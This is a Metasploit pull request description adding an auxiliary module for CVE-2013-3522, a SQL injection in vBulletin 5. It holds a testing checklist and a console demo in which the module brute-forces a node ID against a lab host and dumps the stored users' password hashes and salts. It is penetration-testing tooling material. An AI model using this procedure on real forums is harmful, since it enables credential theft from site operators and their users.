rapid7/metasploit-framework — pull request #2728 by jvazquez-r7 (2013-12-05 22:06:11+00:00)
Title: Add aux module for CVE-2013-3522

* Verification

- [ ] Install VBulletin 5 (ask me if a vBulletin 5 package is needed to test this pull request)
- [ ] Run the module like in the demo.
- [ ] When running the module, set the TARGETURI option if vbulletin is installed on other path than "/"
- [ ] When running the module, set the NODE option to a valid NODE id, or the module will try to bruteforce it. Bruteforce range can be set with MINNODE, MAXNODE
- [ ] hashes from vBulletin are retrieved.

* Demo

```
msf > workspace -a vbulletin_sqli
[*] Added workspace: vbulletin_sqli
msf > creds

Credentials
===========

host port user pass type proof active?
---- ---- ---- ---- ---- ----- -------

msf > use auxiliary/gather/vbulletin_vote_sqli
msf auxiliary(vbulletin_vote_sqli) > set rhost 192.168.172.136
rhost => 192.168.172.136
msf auxiliary(vbulletin_vote_sqli) > show options

Module options (auxiliary/gather/vbulletin_vote_sqli):

Name Current Setting Required Description
---- --------------- -------- -----------
MAXNODE 100 yes Valid Node ID
MINNODE 1 yes Valid Node ID
NODE no Valid Node ID
Proxies no Use a proxy chain
RHOST 192.168.172.136 yes The target address
RPORT 80 yes The target port
TARGETURI / yes The path to vBulletin
VHOST no HTTP server virtual host

msf auxiliary(vbulletin_vote_sqli) > run

[*] 192.168.172.136:80 - Checking for a valid node id...
[*] 192.168.172.136:80 - Brute forcing to find a valid node id...
[+] 192.168.172.136:80 - Using node id 1 to exploit sqli... Counting users...
[+] 192.168.172.136:80 - 2 users found
vBulletin Users
===============

Username Password Hash Salt
-------- ------------- ----

admin 5d80253b1cd5e5d4ca5ed539f4d72052
juan 57ef8fbc005da5d8d6bbc2fbb8226b99 zHkl{Grf]K{swNzvgVD;Y|06\"{d_MS

[*] Auxiliary module execution completed
msf auxiliary(vbulletin_vote_sqli) > creds

Credentials
===========

host port user pass type proof active?
---- ---- ---- ---- ---- ----- -------
192.168.172.136 80 admin 5d80253b1cd5e5d4ca5ed539f4d72052 hash salt: true
192.168.172.136 80 juan 57ef8fbc005da5d8d6bbc2fbb8226b99 hash salt: zHkl{Grf]K{swNzvgVD;Y|06\"{d_MS true
192.168.172.136 80 hash salt: true

msf auxiliary(vbulletin_vote_sqli) > check

[*] 192.168.172.136:80 - Brute forcing to find a valid node id...
[+] The target is vulnerable.
```